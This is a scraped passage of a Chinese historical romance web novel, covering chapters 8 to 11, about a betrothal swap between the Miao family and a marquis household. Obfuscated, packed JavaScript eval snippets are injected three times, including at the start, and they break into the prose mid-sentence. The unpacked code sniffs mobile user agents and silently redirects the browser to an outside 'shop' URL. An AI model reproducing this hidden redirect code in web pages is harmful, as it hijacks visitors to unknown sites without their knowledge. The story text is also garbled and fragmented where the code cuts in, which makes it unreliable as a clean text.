;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381185|200186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他突然上前一步,眼底隐隐炽热,道:“大小姐就真的甘愿将自己的婚事交由他人做主?缪老太爷那般心疼大小姐,想必定会为大小姐做主,大小姐何不……” “庄三爷,请你自重。” 缪玉微的脸色早在他上前那一步后慢慢冷了下去,此刻听他越发口无遮拦,方才心里那点愧疚早已消失得一干二净。 她好意开解,却不想这人竟是顺杆往上爬,自己不敢忤逆曹氏,便想撺掇她去向祖父开口求助。若曹氏碍于祖父施压而放弃,他依旧能娶她,若曹氏坚持,他便继续娶缪玉灵,而她却要担上个糊涂任性、与姐妹抢男人的污名。 横竖他是不吃亏。 缪玉微看了他一眼,那眼神清清冷冷的,像秋夜的月光:“如今婚事既换,往后你我便再无瓜葛,这些物什我一直好生保管,现下物归原主,往后你我之间清清白白,未免他人闲话,就不必再见了。” 庄文彦听了这话,脸上像被人打了一巴掌似的,火辣辣地疼。 他望着那些熟悉的物件,又望着眼前这个冷静得近乎冷漠的女子,心里头那点子残存的念想,瞬间被刺得支离破碎,一股难以名状的羞愤之感,猛地涌了上来。 他涨红了脸,冷笑道:“大小姐倒是个爽快人,只是这般急着撇清,莫不是攀上了侯府的高枝,便视在下如敝履了?” 缪玉微听罢,眉头微微一蹙,脸上隐隐有了怒色,“庄三爷这话好没道理,与你的婚事非我所能做主,与侯府的婚事亦然,你心中再有不快,也不该怪在我头上吧?且不说你我原本便无正式文定,算不得什么,如今既已换亲,往后你便是我妹夫,你我之间是该要避嫌的。我今日所为,不过是为着两家的名声,为着各自的前程罢了,怎的到了你口中,便成了我攀附权贵,嫌贫爱富了?” 庄文彦被她说得张口结舌,面上一阵红一阵白,正要再说什么,忽听身后传来一阵细碎的脚步声,一个娇柔的声音响起:“哎呀,姐姐这话,可太伤人了!” 两人回头一看,却是缪玉灵赶了过来。 她早料定庄文彦会来见缪玉微,便一直暗中留意,果然等个正着。她在门后偷听了半日,见两人说了这许久,早已不耐,此刻忙出来打断。 她袅袅婷婷地走到庄文彦身边,微微一福,声音软得像三月的春风:“三爷不必介怀,姐姐素来是这个性子,说话直来直去的,并非有意要伤三爷的心,您别往心里去。” 说着又转向缪玉微,脸上的笑淡了几分,“姐姐也是,三爷大老远来一趟,就算没有缘分,也该好好说几句话,何必要这般字字伤人,平白伤了两家和气。” 缪玉微看着她,忽然觉得有些好笑,便也笑了一声,“是不该伤了和气,毕竟二妹妹还指着庄三爷替你改命呢。” 这话让缪玉灵一愣,险些就要以为她知道了自己重生的事情。转念一想,却又不可能,毕竟这事连她都无从解释,寻常人又怎会想得到,缪玉微说的应当只是她与徐见青八字不合的事罢。 她兀自思索着,缪玉微却是没心情继续与他二人打嘴仗,“既然二妹妹来了,那便由二妹妹送送三爷罢,我先回去了。”说罢便转身,带着春桃头也不回地走了。 缪玉灵一愣,便也不看缪玉微,只软语款款,引着庄文彦往外去了。庄文彦被她一拉,身不由己地跟着走了几步,回头望去,却只望见缪玉微转过回廊留下的一角裙摆,像一只翩跹的蝴蝶,却是离他远去了。 8. 第 8 章 庄家虽有些产业,但到底是商贾之家,在他们面前,曹氏尚能托大将人请来府上商议,但换了长平侯府,她便只能备上厚礼,亲自登门。 这长平侯府乃是累世公卿之家,祖上曾出过两位阁老,三位将军,一位皇后,端的是一门显赫。其宅第坐落于内城东南,占地极广,曹氏乘坐的青帷小轿在角门落定时,抬眼便见那门楼高耸,朱漆大门上铜钉森然,两侧石狮蹲踞,气象森严,直叫人望而生畏。 早有管事在门口候着,引着轿子从角门进去。曹氏下了轿,便有两个穿着靛蓝比甲的丫鬟迎上来,垂首问安。 曹氏被引着往内院走,一路但见回廊曲折,庭院深深,那窗棂上的雕花,廊柱上的彩绘,无一处不精致妥帖。往来仆妇丫鬟虽多,却个个屏息敛气,步履轻巧,只闻得衣裙窸窣之声,绝无交头接耳之状。 曹氏看着,心中一阵绞痛。 这样泼天的富贵,这样气派的门第,竟就要便宜了缪玉微那丫头!真是一想起来,她这一口气就憋在胸口,直堵得她心慌气短。 曹氏深吸口气,只得暗自劝慰灵儿梦里那些都是真的,如今侯府的富贵,都只是镜花水月,日后的庄家只会比这侯府繁华千倍百倍。 如此想着,她心下才稍安。 一时到了偏厅,丫鬟打起帘子,侧身请她进去,又奉了茶来,道了句稍等后,便悄无声息地退下了。 那茶盏乃是甜白釉的,薄如蛋壳,托在手里轻飘飘的,里头茶汤清亮,香气幽微。曹氏抿了一口,便觉满口清甘,知是极好的龙井,心里不由暗暗咋舌:这样好的茶,在别处只怕要细细烹煮,可在这侯府却不过是寻常待客之物罢了。 她一面饮茶,一面不着痕迹地四下里打量着。 这偏厅不大,陈设也简约,却样样透着讲究。北面一张紫檀木的长案,案上供着一块灵璧石,姿态奇崛,墙上挂着一幅山水,落款瞧着像是前朝名家的手笔,窗下条案上供着一瓶新摘的玉兰,花香与炉中焚着的沉香混在一处,甜而不腻。 曹氏瞧着,心里那点子可惜之意便又翻腾起来。 这样钟鸣鼎食的人家,这样富贵闲雅的气派,原该是她灵儿的!灵儿那孩子最是灵秀,若嫁了过来,在这般清贵之地熏陶几年,岂不更是出落得出挑?往后诰命加身,往来皆是权贵,那才叫不枉为人一世呢! 可惜…… 她正自出神,忽听外头传来脚步声,忙敛了心神,堆起满脸笑意,起身相迎。 只见门帘掀动,当先走进一位妇人,看去不过三十许人,生得肌肤胜雪,眉目如画,穿一件莲青色织金妆花褙子,系一条月华裙,乌黑的髻上只簪着一支羊脂玉凤头钗,耳坠却是两粒指顶大的东珠,温润生光。通身上下并无几件首饰,却件件都是极品,衬得她整个人清贵难言。 曹氏下意识抬手抚了抚自己鬓边那支特意戴上的赤金牡丹簪,心里浮上几分不自在来。 “亲家太太来了,快请坐。”长平侯夫人王素筠含笑上前,态度甚是亲热,“我方才正料理些家务,倒叫亲家太太久等了,实在失礼。” 曹氏忙笑道:“夫人说的哪里话,原是我来得冒昧,搅扰了夫人清静,该是我赔罪才是。” 二人重新落座,小丫鬟又换了新茶来。 王素筠问了几句路上可顺利、家中老爷可安好之类的话,曹氏一一答了,又恭维了几句,王素筠只含笑听着,偶尔应上一两句,态度始终和煦。 曹氏见她这般好说话,心里稍稍松了口气,又寒暄了几句,便将话头引到了正事上。 她搁下茶盏,清了清嗓子,陪笑道:“妾身今日冒昧登门,实在是有一件心事,想与夫人商议。”说着,便觑着王素筠的脸色。 王素筠依旧含笑,道:“亲家太太太见外了,咱们两家既已议亲,那便是通家之好,有什么事但说无妨。” 曹氏叹了口气,将之前准备好的话说了一遍,又道:“这事说来也怪,那供桌上旁的东西都好好的,偏偏放着两个孩子庚帖的地方起了火。虽说扑救得及时,未曾烧着,可我这心里头总觉着不踏实。” 王素筠听着,脸上的笑意渐渐淡了,却仍不言语。 曹氏觑着她的脸色,硬着头皮说下去,末了道:“夫人也知道,我膝下有两个女儿,长女玉微,次女玉灵。那师父算了算,说若将长女的八字与二公子相配,竟是上上大吉。我一听这话,心里头又是惊又是喜,只是这事到底关系着两家,我一个妇道人家不敢擅专,这才厚着脸皮上门,想与夫人商量商量。” 她话音一落,满室寂静。王素筠已敛了笑容,眉头微微蹙起,一双眼睛静静看着曹氏,那目光虽不凌厉,却看得曹氏心底直冒寒气。 “曹太太这话,倒叫我不知道该怎么接了。”她缓缓开口,竟是连亲家也不叫了,“你说请了高僧合过?却不知是哪座宝刹的高僧,法号如何?佛法可精深?若果然灵验,我少不得也要去请益请益。” 曹氏心头一跳,支吾了半日,到底不敢扯护国寺的幌子,只得道:“是……是城西小清凉寺的一位师父,法号……法号唤作……慧明,是位云游挂单的,如今又不知云游到何处去了。” 王素筠点点头,又问:“那祠堂走水,不知是何时起的?庚帖放在供桌上,怎的就单单那一处走了水?是烛台倒了,还是有人不当心?曹太太可查清楚了?” 曹氏曹氏额角沁出细汗来,强笑道:“查了查了,是烛台倒了,烧着了桌帷,这才殃及供桌。底下人粗心,我已重重责罚过了。” “烛台离供桌有多远?怎的就恰好烧着放着庚帖的那一处?”王素筠又问,“那庚帖是装在匣子里的,还是只搁在桌上?烧成了什么模样?可还能辨认?” “庚帖倒不曾烧毁,只是边角有些焦痕。”曹氏应对得愈发艰难,只觉得王素筠每问一句,自己便矮了一截,后背的衣裳都已汗湿了,“这些琐碎事,都是下人们料理的,我只顾着着急,倒没细问。” 王素筠见她如此情状,便停了停,端起茶盏吃了口茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她在榻上坐下,安嬷嬷奉上茶来,轻声问道:“夫人,那曹氏说的,到底真不真?” 王素筠冷笑一声,道:“真?她嘴里有一句真话,我王字倒过来写。她这是既不想把闺女嫁过来,又舍不得咱们侯府这门贵亲,才想出这换亲的昏招,打量着咱们是那没见过世面的小门小户,好糊弄呢!” 安嬷嬷眉头一皱:“她竟敢这般戏弄侯府?就不怕……” “怕什么?”王素筠哼了一声,“她有什么可怕的?这事成了,她闺女如愿以偿;不成,也不过是咱们拒了她,她又不损失什么。” 安嬷嬷低声道:“那夫人打算如何?” 王素筠沉吟片刻,道:“你使人去打听打听,那庄家是什么来路,还有缪家那个长女,我听说她自小长在绍兴,你也着人去一趟问问。” 安嬷嬷应了一声,正要退下,王素筠又叫住她:“把方才那四个八字送去护国寺,交给静安师父,让他仔细合一合。那曹氏既然敢拿这个说事,里头必定有些缘故,咱们且看看,她到底在打什么算盘。” 9. 第 9 章 傍晚时分,长平侯徐观澜下衙回府,才进屋,便见妻子倚在窗下,手里攥着一卷书,却是许久不曾翻动一页。 徐观澜解下腰间佩剑,递给迎上来的丫鬟,笑道:“这是怎么了?谁又惹我们夫人不高兴了?” 王素筠斜了他一眼,将书往案上一撂:“还能有谁?你那好亲家。” 徐观澜眉头一挑,“老大媳妇娘家来人了?” 王素筠抽起书册往他身上砸,“跟老大有什么关系,是缪家来人了。” 徐观澜一愣:“缪家?出什么事了?” 王素筠便将白日曹氏来访之事细细说了一遍,末了气道:“你瞧瞧他们家做的这叫什么事?既定了亲,又出尔反尔,拿咱长平侯府当什么了?拿咱家既明当什么了?地里的白菜么?还挑起来了。” 徐观澜听罢,眉头也皱了起来:“你是说,他们打算把长女嫁过来,把原定的次女嫁去庄家?” “可不就是这个意思!”王素筠气不打一处来,“我使人打听过了,那庄家祖上虽做过官,如今却只是从商,那庄文彦也不过是个举人,前年春闱还落了榜。咱也不是说嫌贫爱富,但这两家条件明明白白地摆在这,曹氏放着好好的侯府不要,偏要把女儿嫁去庄家,你说这里头能没鬼?” 徐观澜在榻上坐下,沉吟道:“若那庄文彦当真比不上既明,缪家为何要这般做?难不成是那个次女自己看上了庄家那小子?” 王素筠嗤了一声:“这我倒不知道,我只知道,她今日在我跟前,说话支支吾吾,连那高僧的法号都说不清楚,一听我要去找静安师父合八字,脸色都变了,这不是心虚是什么?” 徐观澜沉默片刻,又道:“也或许是缪家想补偿那个长女?毕竟是嫡长女,自小养在乡下,心里过意不去,想给她寻一门好亲事也是有可能的。” 王素筠看了他一眼,那目光里带着几分无奈:“我的侯爷,那长女又不是曹氏亲生的,她何苦替她打算?那两口子能把那孩子扔在乡下十几年不理不问,如今倒突然愧疚起来了?这话你信么?” 徐观澜被她说得语塞,半晌才道:“那依你说,咱家既明比那庄家小子差在哪儿了?人家宁愿换亲也不肯嫁?” 王素筠白了他一眼,那一眼里又是好气又是好笑:“你儿子什么样你不知道?活脱脱一块冰疙瘩,三锥子扎不出一句话来,成日里冷着一张脸,跟谁欠他八百两银子似的。他也就那张脸还能看,可过日子光靠脸能行么?人家姑娘家,谁不喜欢温柔体贴,知冷知热的?” 徐观澜“嗳”了一声,道:“这话说的,既明也没那么差罢?虽说性子冷了些,可人品才学都是顶尖的,又没那些纨绔子弟的坏毛病……” “好好好,你儿子是天底下最好的。”王素筠懒得与他争辩,“可再好,人家不稀罕,又有什么用?” 徐观澜见她气了,忙凑过去陪着笑脸道:“夫人别恼,是那缪家有眼无珠,咱们不与她一般见识。” 就着给王素筠捏了捏肩,见她消了几分气,才问:“那依夫人之见,这事该如何处置?” 他不问还好,这一问,王素筠的火气又上来了:“如何处置?我告诉你,这事我不同意!当初是你说要给既明寻一门门第低些、家里头简单的亲事,免得他日后再被那些世家大族的烂事牵连。我挑来拣去,好不容易选中了缪家,那缪世则不过是个五品郎中,在京师没什么根基,缪家人口也简单,他那个次女我也见过,生得倒还齐整,瞧着也是个灵透的。咱们既明娶她,原就够委屈的了,如今倒好,人家还嫌弃上了,要换亲!” 她越说越气,站起身来在屋里踱了几步:“那缪玉灵再不济,外家也是正儿八经的官宦人家,可缪玉微呢?她生母早逝,连什么出身都不知道。她自小养在乡下,品貌如何?性情如何?识不识字?读没读过书?这些咱们一概不知,你让我如何放心?”说着,越发气往上撞,“徐观澜我告诉你,这事我断不能依。我就不信,这满京师,还找不出一个比他缪家更合适的亲家!” 徐观澜见她动了真气,忙起身将人搂着按回榻上,一面顺气一面温声道:“夫人消消气,何必为这点子事气坏了身子,那曹氏不识抬举,咱们不理会她便是,只是……” 他顿了顿,斟酌着词句:“只是那孩子到底是无辜的,夫人也别迁怒于她,咱们恼的是缪家,不是那孩子。” “我还没糊涂呢。”王素筠深吸一口气,神色稍缓,“我恼的是缪家做事不地道,岂会与一个没见过面的小姑娘过不去?” 徐观澜便笑道:“我就知道夫人最是通情达理、宽厚大度的。” 王素筠斜了他一眼,“少给我灌这些迷魂汤,一码归一码,这换亲的事,我是不依的,你也别想劝我。” 徐观澜忙道:“是是是,夫人说得是。等静安师父的批命回来,咱们再作计较,若那八字果然不合,咱们正好借此退了这门亲,另寻别家便是。” 王素筠哼了一声,到底没再说什么。 二人正准备揭过此事,忽听门外帘栊响动,一道修长身影逆着暮光迈了进来。夫妻二人抬眸看去,不由都是一怔。 进来的不是旁人,正是徐见青。 廊下暮色四合,昏黄的光影从半卷的竹帘后透进来,在他侧脸上落下一层淡淡的金边,眉目愈显清隽,神色却晦暗难辨,看不出喜怒。他也不知在门外站了多久,又听去了多少,只静静立在那里,周身透着一股子与这暖融融春日格格不入的清冷。 王素筠忙敛了面上的恼色,堆起笑来:“既明来了,一道留下用饭罢,我让厨房再多做几道菜……” “儿子不饿,母亲不必麻烦了。”徐见青打断她,声音不高,淡淡的听不出情绪。 他在门边站了站,便抬步往里走,绣着云纹的玄青袍角轻轻拂过门槛,在暮色里漾开一道暗沉的波。 徐观澜与王素筠对视一眼,心里都有些拿不准,眼见人走近,王素筠暗暗推了徐观澜一把。 徐观澜清了清嗓子,正要开口,却见徐见青已走到跟前。 他先向二人见了礼,方直起身来,垂着眼睫道:“父亲母亲不必烦扰,方才的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381187|200186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,儿子都听见了。” 王素筠脸上的笑一僵,一时竟不知该说什么好。徐观澜也是怔了怔,方道:“既明,这事……我与你母亲正商量着,且还没个准信呢,你也不必多想。” 徐见青看了眼他二人,静了片刻,方缓缓开口:“不必这般麻烦,缪家既要换亲,便换了罢。” 他仍是那副清清冷冷的调子,仿佛说的不是自己的终身大事,不过是今日天气如何、明日可要添衣之类的家常话。 此言一出,满室皆静。 王素筠愣了一愣,手里的帕子险些滑落在地。她与徐观澜对视一眼,都从对方眼里看到了不可置信的神色。 “既明,你……”徐观澜微微皱眉,一时竟不知如何措辞。 王素筠却已站起身来,几步走到儿子跟前,仰头望着那张清俊却无甚表情的脸,急道:“你说什么胡话?什么叫换了罢?那可是你的终身大事,怎可这般草率?” 徐见青垂眸看着母亲,眉头动了动,只是目光仍是淡淡的,看不出什么波澜,“母亲也说,寻到如缪家这样合适的费了一番功夫,若撇了缪家重新去寻,岂不更是难上加难?” 王素筠一噎,竟被这话堵得说不出话来。 徐见青又道:“我猜那庄家应当已经同意了,若缪家执意要换,咱们这边拖着不肯,两家闹起来,传出去不好听。横竖儿子对娶谁并无所谓,既如此,何必费那许多周折?” 他说这话时,语气平平淡淡,像是在说一件与自己毫不相干的事。 王素筠听着,心里却像被人狠狠攥了一把,疼得发紧。 她望着儿子那张波澜不惊的脸,忽然想起他自幼便是如此,旁的孩童闹着要糖吃、要新衣裳、要爹娘抱,他却总是安安静静地坐在一旁,不言不语,不争不抢。给他什么,他便接着,不给他,他也不开口要。仿佛这世上的一切,于他而言,都是可有可无的。 她不敢再想下去,只一把攥住儿子的手。 那只手骨节分明,却凉得厉害,像是浸过了冰水一般。 王素筠鼻头一酸,险些落下泪来。 徐观澜沉默良久,方叹了口气,道:“既明,你既这般想,为父也不好多说什么。只是这婚事到底关系着你一辈子,总得慎重些才是。” “儿子明白。”徐见青点点头,垂眸看着母亲鼻尖坠着一颗泪珠,抬手轻轻拂去,“母亲放心,儿子并不勉强,我素来是个冷性子,那些热热闹闹的事,原也受不住。倒不如这样,安安静静的,大家都省心。” 王素筠听了,心头一刺。她一把搂住儿子,心里把那曹氏翻来覆去骂了千百遍,又恨自己当日瞎了眼,怎就替儿子应下这门亲事。 可恨归恨,到底还是要替儿子打算的。 她深吸一口气,压下心底翻涌的情绪,目光在儿子脸上定定地看了片刻,终于一咬牙,道:“不成,这事不能就这么糊里糊涂的。那缪玉微我得先见见,若真是个好的,咱们认了也就认了,可若是个上不得台面的,莫说你们爷俩,便是天王老子来劝,我也不依!” 10. 第 10 章 这日天阴沉沉的,淅淅沥沥落着细雨,从檐角瓦当上垂下来,牵成一道道晶亮的丝线,打在窗前那几丛芭蕉叶上,发出一声声闷响。 缪玉微歪在临窗的美人靠上,松松挽了个髻,鬓边簪着一朵新摘的栀子,白莹莹的,衬得那张脸愈发明净。 她手里捏着一根细细的竹篾,正与秋月在桌上推枣磨玩儿——一粒红枣去了半壳,留下半边作底盘,上头再覆一粒,竹篾轻轻一拨,那枣儿便滴溜溜转起来,倒也有趣。 春桃坐在榻边,两条腿一晃一晃的,将自己这两日在外头打听来的消息说给她们听。 “……据说其先祖乃是当年跟随太祖皇帝打天下的功臣,后封长平侯,爵位世袭罔替,百余年间,人才辈出,说是京师一等一的勋贵也不为过。” 秋月一面听,一面伸手去拨那枣儿,嘴里道:“能在京师立这么些年不倒,这长平侯府想来是有几分真本事的。” 春桃点点头,“可不是,那长平侯府在京中很是有些名头,打听起来倒不费劲,尤其是那徐二公子,传闻他出生那日,天有异象……”她说到这里,故意顿了顿,卖个关子。 秋月果然上了心,催道:“什么异象?快说!” 春桃便压低了声儿,神神秘秘地道:“说是那年侯爷正在嘉峪关与鞑子作战,僵持了数日,胜负难分。结果这边二公子刚落地,那边关外忽然狂风大作,乌云遮日,对面鞑子营里乱作一团,侯爷便趁这机会大败敌军。后来捷报进京,就连皇上都诧异,说这孩子来得巧,是个有福的,还亲口夸过呢。” 秋月听得入了神,手上一时忘了动,那枣儿被她一拨,骨碌碌滚到桌沿,又骨碌碌滚了回来。 缪玉微不由笑道:“一心难二用,你输了。” 秋月低头一看,果见那枣儿歪在一边,早已停了,一时懊恼,撅了嘴道:“都是春桃,说这些神神怪怪的,倒叫我分了神。” “还没说完呢。”春桃嘻嘻一笑,又道:“那徐二公子虽说生得一副好皮囊,可性子却是个冷的,从小便寡言少语,待人淡淡的,我光听着就觉得一万个不好亲近。且他还不愿苦读考学,只靠荫封在兵部做了个不入流的小官,好像是什么令使还是书吏的,横竖是个芝麻绿豆大的官儿,成日里点卯应差罢了。” 秋月听了,不由皱起眉头,“长平侯府这样的勋贵人家,竟也允许子弟游手好闲吗?” 春桃耸耸肩,“说不准正因为是勋贵人家,才不在乎子弟做何营生呢。” 秋月突然想到什么,问:“那日你与小姐不是在园子里遇见了他?你瞧着他与传言相比如何?” 春桃瞪圆了眼睛,“那日紧张都紧张死了,哪还有功夫瞧他长得什么样?” 秋月一想也是,便不再多问,回头去看缪玉微,却见她正低着头,专心致志地把那竹篾往枣核上放,仿佛方才那些话,她一句也没听进去似的。 秋月到底沉不住气,忍不住道:“小姐,离太太从侯府回来已经两日了,您就一点也不着急么?” 缪玉微屏着呼吸,终于将那竹篾稳稳搁好,这才松了口气,伸出指尖轻轻一拨,那枣儿便悠悠地转了起来。 她看着那枣儿转了几圈,方慢悠悠地开口:“急什么?既然没消息,那就说明侯府那边没答应也没回绝,曹氏回来这两日不吵不闹的,八成是在那头碰了软钉子,被人拿捏住,一时不好发作罢了。” 春桃眨眨眼,“那咱们就这么干等着?” 缪玉微微微歪着头,看着那枣儿越转越慢,终于停了下来,方道:“侯府若是不同意,自然也不会再要缪玉灵,到时候缪玉灵嫁去庄家,咱们正好收拾收拾,打道回绍兴去。” 春桃又追问:“那要是同意了呢?” 缪玉微指尖一顿,沉吟道:“要是同意……” 话才起头,忽听外头廊下传来一阵细碎的脚步声,紧接着是小丫鬟的声音,隔着帘子传进来:“大小姐,太太那边的兰巧姐姐来了。” 缪玉微手上一重,那枣儿应声滚落,“啪嗒”一声掉在地上,骨碌碌滚到角落里去了。 秋月忙起身去捡,春桃快手快脚地将桌上的枣核竹篾归拢到一旁,缪玉微直起身来,理了理衣襟,方扬声道:“请进来罢。” 帘子一挑,兰巧笑盈盈地迈了进来,先给缪玉微福了一福,又朝春桃秋月点了点头,方从袖中取出一份洒金请帖,双手递了过来。 “大小姐,这是成国公夫人遣人送来的帖子。”兰巧笑道,“成国公夫人打算在广渠门外办一场马球赛,遍邀京师各府的太太小姐、少爷公子们前去赴会,这是给您的。” 缪玉微接过帖子,面上露出几分困惑:“可我并不会骑马,更不会打马球。” 兰巧听了,促狭一笑,“大小姐可真是个实在人,那些受邀的少爷小姐们,有几个是当真会骑马打球的?说是什么马球赛,其实正经是寻个由头出去踏青游玩罢了。” 缪玉微这才露出恍然的神色,笑道:“原来如此,倒是我孤陋寡闻了。” 兰巧见她这般,便又多说了两句:“说起来,这成国公夫人与长平侯夫人是自小的手帕交,情分非比寻常。听闻此次马球赛,长平侯府的三位女眷也是要去的,大小姐到时若遇上了,多留几分心便是。” 缪玉微心下一顿,霎时明白了。 她垂下眼睫,将那帖子轻轻合上,嘴角含着一丝淡淡的笑意,道:“多谢兰巧姐姐提点,我省得了。” - 两日后,正是三月廿一,春深似海,日暖风清。 广渠门外那片草场,早已被五色旌旗围得围得严严实实。北面搭着一座高台,台上张着锦帐,设了桌椅,专供来客歇息观赛。西面一排新扎的马厩,拴着些骏马,鞍辔鲜明,踢踏嘶鸣。草场里人头攒动,小厮们穿梭往来,端茶的、送水的、牵马的,乱哄哄一片。场中早有那性急的少年郎们,三五成群,纵马驰骋,马蹄踏得泥土翻飞,扬起半天黄尘。 缪玉微跟在嫡母曹氏身后,沿着那铺了毡毯的台阶,一步步往高台上去。 她今日穿了件梨花白绫子窄裰袄,下头系着条翡翠撒花洋绉裙,头上只簪着两支素银簪子,打扮得甚是素净。无奈那风卷着黄沙,扑面而来,她忍了又忍,到底没忍住,侧过脸去,拿帕子掩住口鼻,轻声打了个喷嚏。 缪玉灵走在她后头,闻声撇了撇嘴,“大姐姐好生娇气,这才刚来,便这般模样,待会儿可怎么得了。” 曹氏看她一眼,虽未接话,却也不曾责备缪玉灵,只对缪玉微道:“待会儿过去,可得仔细些。今日各家太太都在,长平侯夫人也是要来的,莫要叫人瞧了笑话。” 缪玉微垂着眼睫,乖乖点头,心里却忍不住嘀咕:这漫天黄沙的,便是观音菩萨来了,只怕也要迷眼打喷嚏,叫她如何控制? 曹氏身边还跟着个小公子,瞧着不过十岁,生得白白净净,一双眼 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缪玉微独坐了片刻,只觉得那尘土越发厉害了,她实在有些受不住,便想着起身去台下透口气,寻个背风的地方站一站也是好的。 谁知她才欠了欠身,那边缪玉灵的声音便传了过来:“大姐姐,你这是要去哪里?” 缪玉微动作一顿,回过头去,便见缪玉灵正笑吟吟地望着她,身边那几个小姐也一齐看了过来。 缪玉灵站起身来,几步走到她跟前,亲亲热热地挽住她的胳膊,笑道:“大姐姐一个人坐在这里多闷得慌,不如去我们那边坐,姐妹们一处说说话,岂不好?” 说着,她又转过头,对那几个小姐道:“这是我大姐姐,自小在绍兴老家长大的,初来京师,人生地不熟的,往后姐妹们见了,多关照些才是。” 她说得恳切,那几位小姐也笑着应承,但却说不上多热络。 缪玉微抬头看了看天,碧空如洗,万里无云,这样好的天气,实在不该被人坏了心情。 当下她也不推辞,也不道谢,只微微一笑,道:“二妹妹盛情,我岂有不领的?”说着,便由着缪玉灵拉着往那边走。 可走到那席边,她却没在缪玉灵指着的位子上坐下,而是往旁边一拐,在另一张空着的凳子上坐了下来。 缪玉灵脸上的笑微微一僵。 缪玉微却似浑然不觉,只理了理衣襟,抬头对她笑道:“二妹妹快回去坐罢,你们姐妹说话,我就不去凑热闹了。我初来乍到,怕说错了话,反倒扫了大家的兴。” 那几个小姐面面相觑,一时不知该说什么好。 缪玉灵僵了片刻,到底不好当众发作,只得扯了扯嘴角,勉强笑道:“大姐姐既这般说,那便罢了,待会儿若是闷了,只管来找我们说话。”说罢,转身回去了。 缪玉微望着她的背影,心里头那股子憋了半日的浊气,总算吐了出来。她收回目光,唇角微微一弯,心情大好。 这时她才注意到,这桌上还坐着一个人。 那是个年轻的姑娘,瞧着不过十五六岁年纪,额前覆着一排齐齐的刘海,脸圆圆的像个月亮盘。这般热闹嘈杂的所在,旁人都伸长了脖子往场中看,她却低着头,手里捧着一本书,看得聚精会神,仿佛外头的喧嚣与她全不相干。 缪玉微心中好奇,悄悄觑了一眼那书皮,却是不曾见过的书名,便收回了视线。 恰在她回头的时候,长平侯府的马车到了。 11. 第 11 章 车帘一掀,王素筠扶着丫鬟的手下了车。 成国公夫人早已在旁候着,见她下来,忙迎上去,一把挽住她的手,笑道:“你可算来了,我在这儿望了半日,脖子都望长了。” 王素筠见她这般,不由笑了,“久等久等,我这厢给夫人赔罪了。” 成国公夫人往她身后看了看,问道,“怎的就你一个人?二太太和你家大媳妇没来?” 王素筠叹了口气,挽着她边走边道:“别提了,我那孙女前儿个夜里受了凉,老大媳妇在家照顾,脱不开身,至于我那弟妹……”她摇了摇头,却不再往下说了。 成国公夫人闻言,心下便明白了八九分,当下便不再追问,只紧紧握了握她的手,温言道:“罢了罢了,各人有各人的缘法,你也别太劳神。走,咱们上去坐着说话。”说着,便牵着她往高台走去。 一面走,成国公夫人一面低声道:“我方才瞧见那缪家长女了。” 王素筠脚步一顿,看向她。 成国公夫人笑道:“远远看了一眼,虽瞧不真切,但看那身量模样,倒是个齐整规矩的,不似那乡下长大的粗笨孩子,你且放宽心。” 王素筠听了,眉头却未松开,只叹道:“这两日我愁得连觉都睡不安稳,你说这叫什么事儿。” 成国公夫人劝道:“你若是实在不情愿,退了便是,这满京城的闺秀,难道只他缪家有未嫁的女儿?何必一棵树上吊死。” 王素筠摇摇头,苦笑道:“不是我情愿不情愿,是……罢了,也懒得折腾。横竖是要换的,只盼着那姑娘人品过得去,能合我眼缘。” 成国公夫人看着她,见她眉心果然蹙着几道细纹,不由心疼起来,忙道:“你也别愁,我已经想好法子替你试探那姑娘了。” 王素筠一怔,看向她:“什么法子?你可别胡来。” “我有那么不靠谱么。”成国公夫人拍她一下,笑着凑到她耳边,低声说了几句。 王素筠听了,不由睁大了眼睛,讶然道:“这能行么?” 成国公夫人拍拍她的手,胸有成竹地道:“你尽管放心,必不会被瞧出来。” - 高台上,缪玉微独自坐了一阵,实在无聊得紧。马球赛还没正式开始,只有些人在那里热身,看得人眼睛发涩。她垂下眼,见桌上摆着一盘青莹莹的果子,是今年新下的青梅,看着便觉口齿生津。 她伸手拈了两颗,回身递给春桃秋月,又拈了一颗正要往嘴里送,忽听得身旁那个一直安安静静看书的姑娘,猛地“哎呀”了一声。 这一声来得突兀,缪玉微吓得一哆嗦,指尖一滑,那颗青梅便从手里脱落,“啪”的一声掉在桌上,又弹了两弹,骨碌碌地滚到了地上。 缪玉微捂回头看去,却见那姑娘正瞪大了眼睛望着她,脸上满是惊慌之色。 “对、对不住!”她慌忙站起身来,连连道歉,“我、我不是有意的,我替你捡回来。” 她说着便弯下腰去,一只手在地上胡乱摸索,那模样竟像是瞎子摸象一般。 缪玉微见她那副手忙脚乱、又急又窘的模样,忙站起身,顺着桌沿一瞧,那颗青梅正躺在桌腿旁边,便弯腰捡了起来。再看那姑娘,还撅着身子在那儿摸呢,一头齐刘海都快蹭着地了。 “在这儿呢。”缪玉微赶紧伸手将她扶了起来。 